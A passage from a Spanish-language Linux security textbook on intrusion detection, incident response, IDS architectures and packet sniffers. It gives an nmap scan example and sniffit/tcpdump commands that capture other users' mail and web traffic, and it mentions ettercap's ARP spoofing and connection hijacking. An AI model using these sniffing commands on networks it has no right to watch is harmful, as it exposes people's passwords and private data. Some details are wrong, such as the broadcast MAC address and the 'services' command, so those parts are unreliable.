RESUMEN

En este capítulo fue introducido algunos conceptos de firewalls y VPNs, incluyendo:

- Un firewall es un componente critico de su política de seguridad, principalmente porque es donde podemos forzar la autentificación de todos los usuarios y monitorear todo tráfico entrante y saliente.
- Muchas implementaciones requerirán múltiples firewalls para poder manejar los diferentes niveles de seguridad de la red.
- Los firewalls pueden funcionar de diferentes maneras, incluyendo filtrado de paquetes, gateways del nivel de circuito y del nivel de aplicación.
- Para poder diseñar un firewall se requiere de conocimiento sólido de TCP, UDP y ICMP y los servicios que utilizan estos protocolos IP.
- Un VPN requiere de tres componentes.
  - Autentificación
  - Tunneling
  - Encriptación
- El Stunnel es un utilitario de túnel seguro muy utilizado en GNU/Linux.

PREGUNTAS POST - EXAMEN

Las respuestas a estas preguntas están al final de este libro en el Apéndice A

1.- ¿Cuál es el aspecto más importante de la colocación del firewall?
2.- ¿Cómo funciona el fortalecimiento del sistema operativo?
3.- ¿Qué es un screening router?
4. ¿Cuáles son las dos configuraciones que puede tener un firewall por defecto?
5.- ¿Qué es un filtrado de paquetes?
6.- ¿Cuáles son los dos principios básicos son críticos en el diseño de firewalls?
7.- ¿Cuáles pasos son importantes en la creación de un plan de contingencia para su sistema de firewall?
8.- Los enrutadores de filtrado de paquetes proveen una buena y económica protección. Pero, si esta es la única seguridad implementada, ¿cuales fueran algunas desventajas, si existen?
9.- Defina que es un VPN.

CAPITULO

8

SEGURIDAD

DEL SISTEMA OPERATIVO GNU/LINUX

DETECTAR INTRUSOS

OBJETIVOS:

Al completar este capítulo, usted podrá:

- Definir la detección de intrusos.
- Listar el uso de programas para olfatear paquetes así como los riesgos de seguridad que estos programas representan.
- Listar los elementos usados en un Sistema de Detección de Intrusos (IDS), incluyendo los administradores y agentes.
- Implementar software de detección de intrusos.
- Instalar Tripwire para GNU/Linux.
- Responder correctamente a las rupturas de seguridad.
- Describa Linux IDS (LIDS) así como su configuración y uso.

Preguntas Pre-Examen

Respuestas a estas preguntas se encuentran en el Apéndice A.

1.- ¿Qué es la detección de intrusos?

2.- ¿Qué debe usted hacer luego de detectar que un cracker está en la etapa de penetración, descubrimiento o la de control?

3.- ¿Qué debe usted hacer luego que haya resuelto un incidente de seguridad?

4.- Luego de descubrir que un cracker ha penetrado su red, ¿Debe usted inmediatamente detener o contener la actividad?

5.- Luego de haber decidido los pasos a tomar al responder un incidente de seguridad, ¿Qué debe hacer usted luego?

INTRODUCCION

No importa el poder de sus equipos o su capacidad como administrador, si su sitio es de cierta envergadura un día esta será blanco de ataque por crackers. Citando el salmo 33 - " Un Rey no está a salvo por su poderoso ejército , así como un guerrero no está a salvo por su enorme fuerza ", llevándonos de este consejo es que nunca debemos descuidar tanto el mantenimiento de nuestros sistemas como la investigación de qué vulnerabilidades han surgido en las aplicaciones y servicios que ofertamos. Así también como las nuevas herramientas y adelantos que se innovan a diario.

Como los ataques pueden venir desde el interior de la organización como del exterior, usted debe nunca bajar la guardia. En este capítulo le mostraremos maneras específicas de detectar, distraer y responder a los ataques y actividades de crackers.

DETECTAR INTRUSIONES

Tomar medidas de seguridad como mantener su sistema actualizado, buenas políticas de y conocimiento de riesgo de seguridad actuales, son algunas de las herramientas que asisten en la prevención de entradas forzadas. Usted debe estar siempre preparado para tomar acción contra cualquier tipo de violación de su sistema. Esto incluye vigilancia para cualquier tipo de intrusión. Cada tipo de ataque conlleva su propia metodología. El escaneado de puertos puede probar un rango de puertos buscando ciertas debilidades. El ataque DoS (Denial of Service) puede inundar un puerto con cierta información para deshabilitar que otros usen el servicio ofertado en ese puerto. Un exploit del NFS (Network File System) es enviar nombres extremadamente largos al daemon de NFS. Todos estos intentos de ataques y muchos más se muestran en los registros de los logs del administrador, si el se ha preparado para la eventualidad de estos ataques. Monitorear sus logs del sistema cuidadosamente es una parte importantísima de la administración de su seguridad.

En esta sección discutiremos los siguientes temas:

- Escaneado de Puertos (Port Scan)
- ¿Qué hacer si le Atacan?
- Detección Proactiva

Escaneado de Puertos (Port Scan)

Casi siempre antes de un ataque el cracker efectuará un escaneado de puertos. El potencial intruso, el cracker, hace esto para determinar que servicios y cuales puertos están disponibles en el sistema el cual es su blanco de ataque y basado en los puertos que encuentra concentra su ataque. Aquí es un ejemplo de un escaneado de puerto:

```
# nmap -O 192.168.0.1
Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on (192.168.0.2):
(The 1544 ports scanned but not shown below are in state: closed)
Port            State       Service
135/tcp         open        loc-srv
139/tcp         open        netbios-ssn
445/tcp         open        microsoft-ds
1025/tcp        open        listen
5000/tcp        open        fics
Remote OS guesses: Windows Me or Windows 2000 RC1 through final
release, Windows Millenium Edition v4.90.3000
Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds
```

En el otro lado del escaneado, el utilitario scalogd ha detectado esta actividad y la ha escrito en el log del sistema: **July 26 18:45:23 maq234 scanlogd: From 127.0.0.1 to 127.0.0.1 ports 62711, 430,76,815, 827, 899...**

El NFS

Permite que sistemas de archivos sean compartidos transparentemente por la red. Es un servicio muy útil, pero siempre ha sido un foco de problema de seguridad debido a que cuando fue diseñado esto no era de tan gran importancia. Si lo tienes que usar debes mantenerlo tan actualizado como sea posible, sólo exportar los directorios que sean absolutamente necesarios y nunca la raíz del sistema. Los directorios que serán compartidos se escriben en el archivo de texto plano /etc/exports, el archivo de configuración principal del NFS. Los ataques más reciente se han concentrado en sobre carga de los buffers (buffers overun).

Sendmail

Este paquete es instalado y habilitado por defecto en la mayoría de distros de GNU/Linux. Este es un o de los paquetes que usted debe estar seguro que está al día ya que siempre han existido muchas formas de exploits para el. Ha sido el blanco de ataque de crackers por años, en el 1988 recibió un ataque que deshabilitó 10% del Internet. Existen muchas alternativas a Sendmail y la mayoría son más seguras, entre ellas se encuentra Qmail y Postfix. Si es obligatorio ejecutar sendmail, es importantísimo que este al día.

Ataques DoS

El objetivo de este tipo de ataque no es ingresar al sistema que es su blanco de ataque, sino deshabilitar el acceso al sistema para los otros. Fue un ataque cuando la versión del kernel andaba por la 2.0.32, y explotaba una falla del TCP/IP no del kernel Linux. Todos los sistemas con TCP/IP disponible eran vulnerables. Los sistemas que eran atacados tenían que ser reiniciados. Debido a la naturaleza abierta de GNU/Linux, los parches fueron confeccionados rápidamente y los administradores pudieron corregir este problema.

¿Qué hacer si le Atacan?

Existen varios pasos que debe efectuar si su sistema es atacado, entre ellos se pueden enumerar:

- Recolectar toda la información posible
- Determinar que parte del sistema fue vulnerado
- Efectuar los cambios necesarios

Si su red ha sido atacada usted debe recolectar toda la información posible. Un buen sitio para empezar es los logs del sistema para ver como y cuando el cracker perpetro el sistema. Algunos atacantes usan herramientas que intentan eliminar esta información de los logs, así que deberá también observar los logs por información faltante. Una examinación exhaustiva debe proveerle con el método del atacante y cual vulnerabilidad el exploto. Una vez identificada la vulnerabilidad diríjase a las diferentes fuentes de información disponible para este tipo de ataque. Si un parche no existe para esta vulnerabilidad de seguro que existirá algo que puede hacer mientras se desarrollan los parches, recuerde que hay una comunidad trabajando para dar soporte y apoyo a este tipo de situación.

Por suerte la mayoría de entradas en los logs de sistemas que si están actualizados son de intentos fallidos. Si nos mantenemos leyendo nuestros logs entonces podemos prevenir estos ataques antes de que sucedan. la comunidad FreeSoftware y OpenSource por lo general responde rápido a debilidades del sistema lo torna inútil las herramientas de intrusión. El manejo de intentos fallido por lo general significa el bloqueo de la dirección IP del host que nos ofende con su ataque y contactar el ISP responsable por ese IP. También es buena práctica visitar los sitios dedicados al asunto de seguridad de sistemas GNU/Linux para ver si existen exploits para el servicio que el cracker a fallado en sus intentos de atacar. Por seguro que sea su sistema, tarde o temprano alguien logrará colarse, así es que debe tener un plan de contingencia y practicar los pasos a seguir, entre ellos es reiniciar y apagar interfaces, reiniciar los servicios, reiniciar el servidor o hasta reponer los archivos del

sistema.

Manejar un Ataque en Progreso

Si sorprende un ataque mientras lo están perpetrando, lo mejor es bajar el sistema en lo que resuelve la debilidad que estaban atacando. Podemos físicamente desconectar la interfaz de Ethernet. Si el sistema es crítico y no se puede bajar, esta no es una opción. Si no puede bajar el sistema entonces tal vez tenga que bajar o apagar el servicio que atacan, esto se hace desde la linea de comandos con el utilitario services:

services servicio stop.

Si este servicio el que atacan es uno de los que son también absolutamente necesarios, podemos bloquear el IP del atacante o hasta su rango de IP completo, esto es rápido usando iptables, si lo tenemos habilitado o si tenemos un firewall ya establecido.

Notificar el ISP

Si pudo obtener el IP del atacante entonces podrá usar el utilitario whois y nslookup para ver quien es el dueño del dominio del cual el ataque se originó. Si el dueño no fué el atacante entonces deberá poder recibir cierta asistencia del dueño legítimo.

Restaurar el Sistema

En situaciones así siempre es bueno si tenemos la asistencia de una herramienta como Tripwire, la cual nos puede informar cuales archivos fueron violados. Tener backups reciente de los archivos del sistema, es otra herramienta útil, archivos como ls, bash, login... estos archivos son muchas veces blancos de backdoors y Troyanos por los crackers. Siempre y cuando sea posible deberá mantener el sistema fuera de línea hasta que todo sea resuelto.

Bloquear la Dirección IP

Una vez determine el dominio de donde fue atacado, es una excelente idea bloquear la dirección IP, y si sospecha que la dirección es dinámica entonces quizás bloquear el bloque completo (si fue la dirección 66.98.24.32) entonces bloquear 66.98.24.0-255 ó 66.98.0.0).

¡¿Defenderse!?

Nunca debes cometer el error de tratar de defenderse con un contra-ataque. la mayoría de las veces los ataques son desde servidores que han sido comprometidos por los crackers. Hay ataques que (Spoofing) que nos dan un IP falso, así que recuerde que lo mas probable que a quien atacamos no sea quien nos este haciendo daño sino otra victima como nosotros. Si se siente que debe hacer algo recurra a las autoridades o el proveedor de servicios ellos no juegan con este tipo de quejas.

Detección Proactiva

Debido a que la gran mayoría de ataques ocurren durante las horas nocturnas, las técnicas de detección proactiva (automáticas) son a menudo la única manera de rechazar los atacantes potenciales durante estas horas que no estamos presente. Una política efectiva de detección siempre debe incluir las auditorias, usted debe asegurarse de que su sistema siempre pueda detectar problemas y que presente soluciones automatizadas.

Escaneados de Seguridad Automáticos

Como se dijo anteriormente, su sistema es muy vulnerable durante las horas de las noches. Podemos ejecutar algunos scripts en batch que nos creen logs de quien está ingresado en el sistema y que recursos está accesando. Podemos ejecutar estos y otros scripts de seguridad, durante las horas que nuestro sistema tiene menos carga ejecutándose. Esta práctica es para evitar añadir carga durante nuestra hora de mayor productividad. Los scripts

son herramientas poderosas que podemos utilizar para también generar respuestas automáticas del sistema. Estas técnicas son muy útiles si sospecha de algún tipo de intrusión pero no ha podido confirmar sus sospechas.

Los Scripts

Los scripts de login son por lo general usados para personalizar el ambiente de trabajo de los usuarios cuando efectúan un ingreso al sistema exitoso. Estos scripts son ejecutados cada vez que el usuario ingresa al sistema. Además de esta tarea, los login scripts pueden ser usados para asistir en la seguridad del sistema y sus redes. Los crackers tiene que lograr obtener acceso a una cuenta privilegiada, la cuenta de GNU/Linux más atractiva claro esta es la de root. El administrador de seguridad puede modificar estos scripts para que le efectúe utilidades de auditoria. Un ejemplo es, crear uno para cuando el root ingrese al sistema. Este script puede escribirnos un log con el nombre del host del cual el ingreso y su dirección IP del sistema que se intenta ejecutar el login. Esta información nos sirve para luego comparar para identificar cualquier intento de login sospechoso de la cuenta root.

Auditoría de Análisis Automático

Los logs proveen nuestra primera línea de información para prevenir ropturas en nuestro sistema de seguridad. Lo más difícil es decidir que escribir al log. Lo que podemos escribir al log son dos acciones, exitosas y no exitosas. Podemos también monitorear localidades como el router o un servicio en particular. Un consejo es que para escribir al log muy poco que sea demasiado. Los logs tienden a ser inmensos, por esto es muy aconsejable escribir scripts para que analicen la actividad de su red automáticamente. Este tipo de automatización reducen el tiempo del administrador dedicar a monitorear, reducen costos administrativos y mejoran los niveles de su seguridad. Estos scripts buscan patrones específicos en los logs.

Análisis de Checksum

Los crackers muy a menudo entran a su computador para plantar un Troyano disfrazado como un comando común del sistema (ej. ls, cat, echo). Lo que el espera es o que el comando se ejecute automáticamente o durante un reinicio. Si usted sospecha de esto tendrá que analizar los archivos del sistema para asegurarse que el cracker no ha alterado ninguno de estos. Existe software que escanearan automáticamente los archivos para compararlos por tamaño, fechas de acceso, creación, modificación y información relacionada. Los resultados luego son comparados con valores almacenados de escaneados anteriores. Si un archivo ha sido modificado o su estampado de fecha y su tamaño no igualan los anteriores, entonces lo más seguro es que el archivo ha sido reemplazado con un Troyano. Si esto sucede entonces debe inmediatamente reemplazar el archivo afectado y proceder a investigar por donde fue que el cracker ingreso.

Existen herramientas disponibles para asistirnos en el proceso de este análisis. Estas herramientas son absolutamente necesarias para poder efectuar estas auditorias. Ellas reducen el tiempo, a veces tedioso, de la implementación del análisis.

ARQUITECTURA DE DETECCION DE INTRUSION

Con el crecimiento en popularidad de las redes, la cantidad de tráfico que el administrador de sistema es responsable, sigue creciendo. Las herramientas de auditoría se convierte cada día más y más indispensable. Un sistema de detección de intruso (IDS), puede dramáticamente simplificar sus procedimiento de monitorear la red. Usted debe tener completo conocimiento que trabajo puede efectuar un IDS y cual el no es capaz. una herramienta que siempre ha estado y sigue rindiendo servicio es tcpdump, la cual es una de las mejores herramientas para analizar el tráfico RAW de la red. Usted debe saber cual es la arquitectura de su red para saber si está configurada apropiadamente.

Los siguientes temas son discutidos en esta sección:

- ¿Qué es la Detección de Intrusos?
- Olfateado de Paquetes (Packet Sniffing)
- Utilitarios de Olfateado de Paquetes
- Tipos de Detección de Intrusos
- Reglas de IDS
- Positivos Falsos

¿Qué es la Detección de Intrusos?

El monitoreo detrás del firewall de la actividad de la red en tiempo real es conocido como detección de intrusos. La detección de intruso es nada más que una extensión de su firewall, usted puede escribir al log y detener actividad de la red desde su monitoreo. También puede configurarla para que trabaje en conjunto con su enrutador y el firewall. Esta capacidad y punto de vista, no debe ser confundido de que los IDSs son independientes del firewall.

Un IDS no debe ser confundido con los escaneados de sistema. Los escaneadores de sistemas (system scanners) ponen a prueba un host para determinar sus debilidades contra una base de datos de ataques. Se concentra en configuraciones débiles específicas y no en la actividad actual de la red, ya sea la entrante o saliente. Aunque el programa de escaneado estuviese trabajando al instante del ataque no lo detectará ya que esa no es una de sus funciones.

Los paquetes de IDS si escanean la actividad actual de la red en la manera que pasa por la interfaz de red. Un IDS entonces filtra el tráfico de acuerdo a reglas en específico. Donde, los escáner de red buscan debilidades predefinidas en un host, un programa IDS monitorea y escribe a log el tráfico de la red. Si un IDS está operando un host y usted le pasa un escáner a este host, si la aplicación IDS está bien configurada está lanzaría una alerta segura.

Capacidades

La mayoría de aplicaciones de IDS pueden efectuar análisis extremadamente detallados del tráfico de la red. Ellos pueden monitorear cualquier tráfico que usted pueda definirle. Muchos de estos programas traen establecido patrones para HTTP, FTP y otros tráficos adicionales como son los intentos de ingreso remotos y locales, entre otras cosas. Pero, usted puede establecer sus propias políticas. Ahora discutiremos algunas de las técnicas de detección más comunes.

Administrar el Tráfico de la Red

Las aplicaciones IDS le permiten a usted escribir a los logs, reportar y prohibir casi todo tipo de acceso a la red. Usted puede también usar el programa para monitorear el uso de un host del acceso a la red. Usted puede obtener información detallada del tráfico de SMTP, FTP, Telnet y cualquier otro que usted desee siempre y cuando usted defina una política y un conjunto de reglas a seguir. Estas reglas de comportamiento le pueden ayudar a investigar conexiones determinar que ocurrió y que está ocurriendo en este momento. Estas herramientas son extremadamente efectivas cuando usted desea determinar hasta que grado sus políticas están siendo obedecidas.

Recuerde que de la misma manera que usted puede usar una de estas aplicaciones IDS, un empleado puede también hacerle y recolectar mucha información sensible. No sólo puede un cracker leer cualquier información no encriptada enviado en el sistema, sino que el puede también olfatear cualquier contraseña y información sensible de protocolos en uso. Una de sus tareas más importante es la detección de este tipo de programa en su red, que no este autorizado su uso.

Escaneado del Sistema, Jails (Cárceles) y el IDS

Hemos mencionado que deberá incorporar diferente estrategias para que los niveles de su seguridad sean efectivos. Esto incluye insertar pequeños controles a todos los niveles de su red, desde el sistema operativo hasta los escaneadores, aplicaciones IDS y mas importante de todo su firewall. Ya hemos hablado de la implementación de escaneadores del sistema. Muchos administradores de seguridad combinan estas aplicaciones con un IDS. Revisión de la integridad del sistema, alto niveles de logs, prisiones de crackers y aplicaciones fantasmas de distracción son todos métodos y herramientas que se pueden usar en diferente combinaciones con su IDS.

Rastreado de Eventos (Tracing)

Un buen IDS es mucho más que una simple herramienta de logging; esta debe poder determinar dónde un evento tomó lugar. Para los administradores de seguridad esta es la razón principal por la cual ellos implementan un IDS. Con la localización de un ataque, usted puede aprender más sobre su atacante. Este conocimiento le ayudará a diseñar una solución al problema así como documentar el ataque por si hay que tomar acciones legales.

¿Es la Detección de Intrusión Necesaria?

No se deje confundir y colocar toda su confianza en sus firewalls. Con el crecimiento de los niveles informáticos de toda la sociedad, el cracking dirigido por empleados interno crece más aún que el externo. Los ataques de su red pueden surgir del empleado que usted menos lo cree. Los IDS son cada día más necesarios debido a que pueden buscar problemas de fallas a políticas pre-establecidas de seguridad y actividades ilícitas detrás del firewall.

Nuevas tecnologías son desarrolladas todo el tiempo que pueden burlar los mejores sistemas de firewalls. Un buen ejemplo es el VPN, que crea una conexión que puede tornar inofensiva un buen firewall. Aunque un VPN es muy segura, por lo menos uno de los puntos puede ser comprometido con programas como son root kit o NetBus. El sistema comprometido o violado puede traer abajo todo el sistema de firewall. Por estas y muchas otras razones es que un IDS es una parte importante de su estrategia de seguridad.

Concerniente al IDS

Los crackers pueden coordinar ataques para sobre cargar nuestros IDS. El resultado de este tipo de ataque es que el IDS puede ser usado como un aliado del cracker para que sin su conocimiento se convierta en un participante del ataque DoS. Además, los crackers pueden tratar de coordinar sus ataques para que el IDS no pueda supervisar y escribir a los logs sus actividades en la red.

Olfateado de Paquetes (Packet Sniffing)

Los packet sniffers son utilitarios que pueden ser usados para monitorear y escribir a log el tráfico a través de la captura o despliegue de la información de los paquetes que pasan por el computador host. Estos programas son muy útiles para diagnosticar errores y monitorear tráfico en una red.

Los sniffers, claro está, pueden ser un grave problema si tenemos usuarios de nuestra red recolectando información de contraseñas, de archivos personales o, en general, cualquier tráfico no destinado a ellos. Es posible detectar máquinas que estén olfateando, aunque no es un proceso completamente automático y está a merced de los caprichos del sistema operativo que queramos localizar.

¿Qué es Packet Sniffing?

Los programas que llevan a cabo el sniffing de paquetes intencionados para otros sistemas, colocando el

computador que escucha en modo promiscuo. En general, las técnicas utilizadas para la detección de sniffers parten de que, para olfatear tráfico en red, una computadora debe poner su interfaz de red en modo promiscuo -- Deshabilitar un filtro en hardware diseñado para ahorrar carga al sistema operativo, que descarta todos los paquetes que no estén dirigidos a esa tarjeta en particular o a la dirección MAC de broadcast (00:00:00:00:00:00). Esto requiere de permisos administrativos para poder reconfigurar el equipo. Todo esto pone a demostración la necesidad de políticas de seguridad, concientizar los usuarios y los niveles de confianza para los usuarios locales. Aunque los administradores locales tengan control total sobre todos las estaciones de trabajo, una persona puede desconectar un workstation y conectar una laptop personal y así tendrá acceso a colocar un sniffer por lo menos en un segmento de la red.

¿Qué es el Modo Promiscuo?

El modo promiscuo es un modo de operación en el que una computadora conectada a una red compartida captura todos los paquetes, incluyendo los paquetes destinados a otras computadoras. Es muy útil para supervisar la red, pero presenta un riesgo de seguridad dentro de una red de producción. Muchas interfaces normales permiten utilizar este modo, aunque hay algunas tarjetas como las Token Ring de IBM que no permiten este funcionamiento por defecto. Una tarjeta o placa en modo promiscuo no solamente recibirá tráfico propagado en su segmento local, sino que también desplegará el tráfico que por lo general fuese ignorado por todas las tarjetas de red excepto esa que iguala el número de MAC referenciado en el header o cabezal del paquete TCP.

Mientras un administrador de redes puede emplear mucho tiempo en conseguir que su red sea difícil de ser atacada mediante sniffers utilizando firewalls, switches, detectores de modo promiscuo, etc., lo cierto es que la mejor forma de protegerse ante estos ataques es la de encriptar el tráfico de red.

Usar un Sniffer

Como todo, no se confunda y piense que es tan fácil como suena efectuar el olfateado de paquetes. Los sniffers leen los paquetes como data binaria, lo que hace que sea difícil de descifrar; muchos sniffers incluye en despliegue en un modo de data útil, algunos incluyen filtros para sólo concentrarse en cierto tipo de data, como son las contraseñas, direcciones Web o los correos electrónicos. La prácticas de sniffing se dificultan cada día más a medida que los HUBS son reemplazados con switches. Los switches retransmiten data selectivamente, haciendo el trabajo de sniffing casi imposible. La diferencia es que un HUB, retransmite todos los paquetes sin ninguna discriminación. Como no toda la información es retransmitida, el sniffer sólo podrá leer la data que está dirigida a su host.

Convertir su red de hubs a switch no necesariamente soluciona todo el problema, ya que algunos switches permiten que una señal establezca uno de sus puertos en modo administrativo, y así retransmitirá en forma de eco, todo el tráfico que pasa por el switch a ese puerto. Esta característica puede ser muy útil para el administrador pero es un riesgo de seguridad en manos de un usuario normal. Es un error pensar que las dificultades que enfrenta un cracker determinado lo detendrá.

Utilitarios de Olfateado de Paquetes

Los sniffers pueden ser una pesadilla para un administrador si son utilizados por usuarios no autorizados. Sin embargo, hay pocas herramientas tan poderosas como estas para detectar problemas en nuestra red. Es indispensable para un administrador de sistemas el conocer al menos el funcionamiento básico de estas herramientas y utilizarlas como parte de su rutina cotidiana. Entre los más útiles encontramos a:

tcpdump:

Uno de los sniffers más comunes -- forma parte del sistema base de OpenBSD, está empaquetado

para prácticamente todas las distribuciones de GNU/Linux, y está disponible para cualquier otro sistema UNiX. Nos permite trabajar rápidamente desde línea de comando especificando los patrones que nos interesan, puede examinar una gran cantidad de protocolos, puede guardar el flujo capturado en un archivo o tomar un archivo como fuente para el flujo a analizar. Por ejemplo, un paquete de longitud mayor de 999 son escritos al archivo log.texto en esta sentencia:

$ tcpdump -w log.texto greater 999

ngrep:

Tiene una filosofía de uso muy similar a la del comando 'grep' de UNiX, tomando como entrada el flujo de la red en vez de archivos locales.

snort:

Muy completa herramienta de detección de intrusos en red, toma como entrada el tráfico capturado en una red y lo va comparando cun una serie de reglas, registrando cualquier tráfico sospechoso de llevar un ataque. Snort únicamente lo registra, pero puede trabajar en conjunto con otras herramientas (hogwash, ACID, etc.) para sanear el tráfico, bloquear a la máquina atacante, generar reportes, etc.

nwatch:

Formalmente es un sniffer, pero es más bien una herramienta para realizar lo que sus autores definen como barridos de puertos pasivos: Para detectar puertos que están abiertos por muy cortos periodos de tiempo y para no mostrar actividad sospechosa de barrido, nwatch se queda escuchando la actividad de la red, y manteniendo una lista de qué hosts proveen qué servicios.

ethereal:

Un magnífico sniffer con interfaz gráfica de usuario, nos brinda un análisis completo y detallado de cada paquete a varios niveles, desde nivel Ethernet hasta detalles de diversos protocolos. Es capaz de convertir en adicción el comprender cómo funcionan determinados protocolos ;-)

ettercap:

Pocas de estas herramientas funcionan adecuadamente en redes switcheadas. Ettercap utiliza técnicas más de sombrero negro, como el ARP spoofing/poisoning, para permitir husmear redes switcheadas. Además de sniffer es interceptor (permite inyectar datos en conexiones existentes o "secuestrar" conexiones).

kismet:

Sniffer específico a GNU/Linux para redes inalámbricas. Funciona correctamente con los dos principales tipos de tarjetas inalámbricas.

sniffit:

Otra aplicación popular de sniffing, que opera desde la línea de comandos y comparte muchas de las características de tcpdump. A diferencia de tcpdump que sólo despliega los cabezales, sniffit puede desplegar además el contenido del paquete. debemos especificar como mínimo la dirección IP de origen o de destino de la que queremos tomar los paquetes. También podemos especificar el puerto y el protocolo. Por ejemplo para escribir a log todas las conexiones a un correo específico:

$ sniffit -t mail.prueba.com -p 25

Si queremos escribir a log todo el tráfico web de la gente que se conecta a una web, hemos de tomar tanto las conexiones hacia como desde ese servidor web:

$ sniffit -t www.prueba.com -p 80 & (DESTINO)

$ sniffit -s www.prueba.com & (ORIGEN)

Como vemos podemos dejar el programa corriendo en segundo plano (&) para seguir trabajando mientras el sniffer continúa su labor. También podemos activar la versión interactiva, que nos mostrará con una interfaz basada en ncurses las conexiones que se están produciendo e introducirnos en ellas para verlo en tiempo real.

Sniffit guarda cada paquetes interceptados en archivos con nombre IPORIGEN.PUERTO.IPDESTINO.PUERTO o también permite especificar un archivo único para todas las conexiones con la opción -r.

Tipos de Detección de Intrusos

Llegados a este punto es interesante clasificar de algún modo los distintos sistemas de detección de intrusos. Existen dos categorías de arquitecturas de IDS, las basadas en host HIDS y las basadas en red las NIDS. Cada una tiene sus ventajas y desventajas. Aunque la HIDS es más ambiciosa y nos provee más información, no siempre es la mejor elección. Hay otra sub-clasificación posible, que aquí se explica pero no la analizaremos con profundidad, que es:

- **Los Sistemas En Tiempo Real:** Permanecerán constantemente chequeando el sistema buscando alguna señal de un incidente de seguridad e inmediatamente provocarán una alarma.
- **Los Sistemas No Tiempo Real:** Por contra, los sistemas de detección de intrusos que no son de este tipo se usan generalmente cuando existe la creencia de que estamos ante un incidente de seguridad y se usan para recabar información del tipo y alcance de esta incidencia, generalmente sobre registros o información del sistema.

NIDS

Sistemas que observan el tráfico de red buscando algún indicio de un ataque conocido. Generalmente un interfaz en modo promiscuo buscando datos sobre una red. (Suelen pertenecer también al tipo tiempo real). Por lo general requieren una única instalación en el servidor. La aplicación o el servicio escanean toda la transmisión en una subnet para determinar actividad de red en tiempo real. Este tipo de aplicación actúa como ambos el manager y el agente. La red actúa de forma pasiva y el host donde se encuentra instalado el IDS hace todo el trabajo.

La mayor parte de los sistemas de detección de intrusos están basados en red. Estos IDSs detectan ataques capturando y analizando paquetes de la red. Escuchando en un segmento, un NIDS puede monitorear el tráfico que afecta a múltiples hosts que están conectados a ese segmento de red, protegiendo así a estos hosts. Los IDSs basados en red a menudo están formados por un conjunto de sensores localizados en varios puntos de la red.

Estos sensores monitorean el tráfico realizando análisis local e informando de los ataques que se producen a la consola de gestión. Como los sensores están limitados a ejecutar el software de detección, pueden ser más fácilmente asegurados ante ataques. Muchos de estos sensores son diseñados para correr en modo oculto, de tal forma que sea más difícil para un atacante determinar su presencia y localización.

Ventajas y Desventajas

Ventajas:

- Un IDS bien localizado puede monitorizar una red grande, siempre y cuando tenga la capacidad suficiente para analizar todo el tráfico.
- Los NIDSs tienen un impacto pequeño en la red, siendo normalmente dispositivos pasivos que no interfieren en las operaciones habituales de ésta.
- Se pueden configurar para que sean muy seguros ante ataques haciéndolos invisibles al resto de la red.

Desventajas:

- Pueden tener dificultades procesando todos los paquetes en una red grande o con mucho tráfico y pueden fallar en reconocer ataques lanzados durante periodos de tráfico alto. Algunos vendedores están

intentando resolver este problema implementando IDSs completamente en hardware, lo cual los hace mucho más rápidos.

- Los IDSs basados en red no analizan la información cifrada. Este problema se incrementa cuando la organización utiliza cifrado en el propio nivel de red (IPSec) entre hosts, pero se puede resolver con una política de seguridad más relajada (por ejemplo, IPSec en modo túnel).
- Los IDSs basados en red no saben si el ataque tuvo o no éxito, lo único que pueden saber es que el ataque fue lanzado. Esto significa que después de que un NIDS detecte un ataque, los administradores deben manualmente investigar cada host atacado para determinar si el intento de penetración tuvo éxito o no.
- Algunos NIDS tienen problemas al tratar con ataques basados en red que viajan en paquetes fragmentados. Estos paquetes hacen que el IDS no detecte dicho ataque o que sea inestable e incluso pueda llegar a caer.

HIDS

Basados en el host. Estos sistemas recaban información del sistema para realizar un análisis de las posibles incidencias pero siempre desde el punto de vista del propio sistema y con sus recursos. Los HIDS fueron el primer tipo de IDSs desarrollados e implementados. Operan sobre la información recogida desde dentro de una computadora, como pueda ser los archivos de auditoría del sistema operativo. Esto permite que el IDS analice las actividades que se producen con una gran precisión, determinando exactamente qué procesos y usuarios están involucrados en un ataque particular dentro del sistema operativo.

A diferencia de los NIDSs, los HIDSs pueden ver el resultado de un intento de ataque, al igual que pueden acceder directamente y monitorear los archivos de datos y procesos del sistema atacado.

Ventajas:

- Los IDSs basados en host, al tener la capacidad de monitorear eventos locales a un host, pueden detectar ataques que no pueden ser vistos por un IDS basado en red.
- Pueden a menudo operar en un entorno en el cual el tráfico de red viaja cifrado, ya que la fuente de información es analizada antes de que los datos sean cifrados en el host origen y/o después de que los datos sea descifrados en el host destino.

Desventajas:

- Los IDSs basados en hosts son más costosos de administrar, ya que deben ser gestionados y configurados en cada host monitoreado. Mientras que con los NIDS teníamos un IDS por múltiples sistemas monitoreados, con los HIDS tenemos un IDS por sistema monitoreado.
- Si la estación de análisis se encuentra dentro del host monitoreado, el IDS puede ser deshabilitado si un ataque logra tener éxito sobre la máquina.
- No son adecuados para detectar ataques a toda una red (por ejemplo, escaneado de puertos) puesto que el IDS solo ve aquellos paquetes de red enviados a él.
- Pueden ser deshabilitados por ciertos ataques de DoS.
- Usan recursos del host que están monitoreando, influyendo en el rendimiento del sistema monitoreado.

Reglas de IDS

Al igual que con los firewalls, usted deberá establecer reglas con cualquier IDS. La gran mayoría de aplicaciones IDS, vienen ya con reglas predefinidas. Lo más seguro que tendrás que editar reglas existentes y agregar otras para proveer la protección optima para cada red que debe auditar. Las reglas que usted creará caerán en dos categorías por lo general: anomalías de la red y maluso de la red.

Un buen IDS puede generalmente enforzar cientos de reglas. Una aplicación GPL, Snort, tiene más de 1,000 filtros para (reconocer) las huellas de ataques en específicos.

Anomalías de la Red

Un IDS generá reportes cuando actividades no convencionales ocurran a nivel de protocolo. Si esta configurado correctamente, el IDS le informará de ataques Smurf, NetBus o teardrop, por ejemplo o le alertará de la presencia de un número no ordinario de conexiones SYN.

Mal Uso de la Red

El mal uso de la red incluye entre otras cosas, actividades no productivas, como navegar en Internet, la instalación de programas o servicios no autorizado, como un servidor FTP, y el uso de juegos como Quake y Doom. Usted puede escribir a log este tipo de actividad, bloquearla o responder a ella interactivamente. Por ejemplo podemos usar una aplicación para que lance un contra-ataque o abra la puerta a otro sistema o red fantasma.

El mal uso resulta de ataques del sistema físico o remoto. Un ataque físico incluye el robo de un disco duro o la habilidad de físicamente manipular el computador para que nos arroje información. Un ataque del sistema ocurre cuando un usuario autentificado intenta adquirir los privilegios de root. Un ataque remoto ocurre cuando un usuario logra ingresar a nuestro sistema desde la red externa.

Acciones

